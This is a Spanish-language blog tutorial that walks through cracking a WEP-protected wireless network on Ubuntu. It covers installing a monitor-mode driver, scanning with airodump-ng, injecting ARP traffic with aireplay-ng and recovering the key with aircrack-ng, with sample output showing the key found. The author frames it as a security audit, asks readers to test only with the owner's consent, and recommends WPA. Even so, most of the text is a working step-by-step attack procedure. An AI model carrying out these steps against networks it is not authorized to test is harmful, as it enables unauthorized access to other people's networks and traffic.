En vista al interes de muchos de mis amigos, en cuanto este tema, vamos a dar una pequeña reseña sobre la inseguridad del cifrado WEP, en las redes wireless.

Cabe mencionar que no nos hacemos responsables del mal uso que se le pueda dar a esta informacion y que lo unico que pretendemos es poner en evidencia la inseguridad que representa usar el cifrado WEP en las redes wireless, y que las pruebas que podamos efectuar, siempre sea dentro de redes en las cuales tengamos total concentimiento de sus administradores o propietarios, aclarado este punto continuemos con lo que nos interesa.

Esta informacion esta comprobada para las versiones 7.4 y 7.10, cuando instalamos ubuntu en nuestro equipo, por defecto instala la tarjeta de red con el modulo IPW394 (Intel ProWireless 3945 ABG), para poder hacer la auditoria, es necesario poder poner la tarjeta en modo monitor, lo cual no es posible con este modulo, por lo que es necario instalar los modulos IPWRAW

Antes de instalar el ipwraw debemos instalar algunas dependencias, esto lo hacemos de la siguiente forma

PLAIN TEXT
CODE:
  1. $ sudo apt-get install - build-essential
  2. $ sudo apt-get install - linux-ubuntu-modules-$(uname -r) linux-restricted-modules-$(uname -r) linux-image-debug-$(uname -r) linux-image-$(uname -r) linux-headers-$(uname -r)

Aqui (uname -r), nos sirve para devolver la version del kernel que tenemos instalado, asi no tendremos problemas para instalar los paquetes que requerimos.

Si no hemos tenido ningun error hasta aqui, continuamos con la instalacion de ipwraw

descargamos las fuentes

PLAIN TEXT
CODE:
  1. wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2

Descomprimimos el paquete,

PLAIN TEXT
CODE:
  1. tar -xjf ipwraw-ng-2.3.4-04022008.tar.bz2

Para instalar, nos cambiamos a la carpeta que se acaba de generar, y tecleamos.

PLAIN TEXT
CODE:
  1. sudo make
  2. sudo make install
  3. sudo make install_ucode

Con esto ya esta instalado el modulo, pero ahora lo agregaremos a la black list, esto para que no lo carge por defecto si no, solo cuando lo necesitemos.

PLAIN TEXT
CODE:
  1. echo “blacklist ipwraw” | sudo tee /etc/modprobe.d/ipwraw
  2. sudo depmod -ae

Ya tenemos todo listo, para poder usar el ipwraw ahora solo hay desmontar el driver ipw3945 y cargar el ipwraw

PLAIN TEXT
CODE:
  1. sudo modprobe -r ipw3945
  2.  
  3. sudo modprobe ipwraw

Para cargar el ipw3945, hacemos lo mismo, pero al contrario.

PLAIN TEXT
CODE:
  1. sudo modprobe -r ipwraw
  2.  
  3. sudo modprobe ipw3945

Despues de montar y desmontar los driver's hay que esperar un poco para que se efectuen los cambios.

Para comprobar, que esten funcionando, tecleamos lo siguiente.

PLAIN TEXT
CODE:
  1. iwconfig

Y devemos obtener algo como esto.

PLAIN TEXT
CODE:
  1. lo        no wireless extensions.
  2.  
  3. eth0      no wireless extensions.
  4.  
  5. vmnet1    no wireless extensions.
  6.  
  7. vmnet8    no wireless extensions.
  8.  
  9. eth1      unassociated  ESSID:off/any
  10. Mode:Monitor  Channel=1  Bit Rate=54 Mb/s
  11.  
  12. rtap0     no wireless extensions.

Tal vez puedas obtener wifi0 en lugar de eth1

Para efectuar la auditoria necesitaremos la suite aircrack si no la tenemos instalada lo hacemos con esto.

PLAIN TEXT
CODE:
  1. sudo apt-get install aircrack-ng

Listo, ahora empezaremos por averiguar cuales son los acces points accesibles

PLAIN TEXT
CODE:
  1. airodump-ng rtap0

Y deberiamos obtener algo parecido a esto.

PLAIN TEXT
CODE:
  1. CH  0 ][ Elapsed: 8 s ][ 2008-03-05 21:01
  2.  
  3. BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
  4.  
  5. XX:XX:XX:XX:XX:XX    0       86        9    0   1  54. WEP  WEP         MAGI
  6.  
  7. BSSID              STATION            PWR  Lost  Packets  Probes

Al identificar nustro objetivo debemos ejecutar el siguiente script para poder inyectar trafico.

Veremos algo asi

PLAIN TEXT
CODE:
  1. “Indica el canal para eth1 o wifi0?
  2. 1
  3. “Indica el rate de captura por defecto debe ser 2”
  4. 2
  5. “Indica el bssid objetivo”
  6. XX:XX:XX:XX:XX:XX
  7. “Configuracion completada, listo par inyectar”

Empezamos a capturar los paquetes con el airodump-bg

PLAIN TEXT
CODE:
  1. airodump-ng -c CANAL -w FICHERO rtap0

Y deberiamos obteneralgo asi

PLAIN TEXT
CODE:
  1. CH  1 ][ BAT: 1 hour 38 mins ][ Elapsed: 48 s ][ 2008-03-05 21:34
  2.  
  3. BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
  4.  
  5. XX:XX:XX:XX:XX:XX    0 100      467       47    0   1  54. WEP  WEP         MAGI
  6.  
  7. BSSID              STATION            PWR  Lost  Packets  Probes

Para poder inyectar necesitamos asociarnos con el acces point.

PLAIN TEXT
CODE:
  1. aireplay-ng -1 0 -e ESSID -a MAC_PUNTODEACCESO -h NUESTRAMAC eth1

PLAIN TEXT
CODE:
  1. 21:52:30  Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX)
  2. 21:52:30  Sending Authentication Request
  3. 21:52:30  Authentication successful
  4. 21:52:30  Sending Association Request
  5. 21:52:32  Association successful :-)

Ya que estamos asociados, podemos inyectar para poder generar DATA que son los paquetes que nos interesan

PLAIN TEXT
CODE:
  1. aireplay-ng -3 -b MAC_PUNTODEACCESO -h -h NUESTRAMAC eth1

En unos cuantos segundos podemos ver como genero unos miles de DATA

PLAIN TEXT
CODE:
  1. Saving ARP requests in replay_arp-0305-215511.cap
  2. You should also start airodump-ng to capture replies.
  3. Read 16339 packets (got 8045 ARP requests), sent 8042 packets...(333 pps)

Esperamos alrededor de 10 min para obtener una buena cantidad de DATA, el tiempo puede variar segun la distancia a la que te encuentres del acces point, no hay una cantidad exacta pero entre 200 300 mil DATA son suficientes segun lo comprobado.

Ahora solo hay que pasar el fichero por el aircrack

PLAIN TEXT
CODE:
  1. aircrack-ng FICHERO.cap

Y listo

PLAIN TEXT
CODE:
  1. Aircrack-ng 0.9
  2.  
  3. [00:00:01] Tested 1 keys (got 552366 IVs)
  4.  
  5. KB    depth   byte(vote)
  6. 0    0/  1   39( 100) 11(  33) D6(  15) 6C(  13) 6D(  12) 0D(  11) 17(   9) 95(   8) 5D(   5) 76(   5) 93(   5) D0(   5) 00(   4) 0C(   4) 3A(   3)
  7. 1    0/  1   93( 100) 03(  37) 06(  31) 83(  19) 19(  13) 39(  12) B3(  12) D4(  12) 02(  11) CC(   8) FD(   7) 6C(   5) 86(   5) D2(   5) 30(   4)
  8. 2    0/  1   19( 121) 1B(  15) CE(  12) EB(  12) 2C(   9) 41(   8) 82(   8) CD(   6) 00(   5) 15(   5) 1A(   5) 2B(   5) 34(   5) 39(   5) A2(   5)
  9. 3    0/  1   94(  88) 18(  20) 78(  18) D8(  17) 19(  16) D0(  16) 0D(  10) 83(   9) 69(   8) 75(   6) 82(   6) A0(   6) 41(   5) 46(   5) A2(   5)
  10.  
  11. KEY FOUND! [ 39:93:19:94:35 ]
  12. Decrypted correctly: 100%

Todo esto se puede hacer de forma mas simple, con el airoway.sh solo hay que editar la interfas de injecion segun sea nuestro caso, que puede ser wifi0 o eth1

PLAIN TEXT
CODE:
  1. LISTEN="rtap0"
  2. INJECT="eth1"

Como podemos ver, el cifrado WEP no es suficiente para la proteccion de nuestra redes wireless, no exponga la integridad de su red, y utilecen WPA.

Espero le haya sido de utilidad.

Referencias:

http://aircrack-ng.org/doku.php?id=ipw3945

http://seguridadwireless.net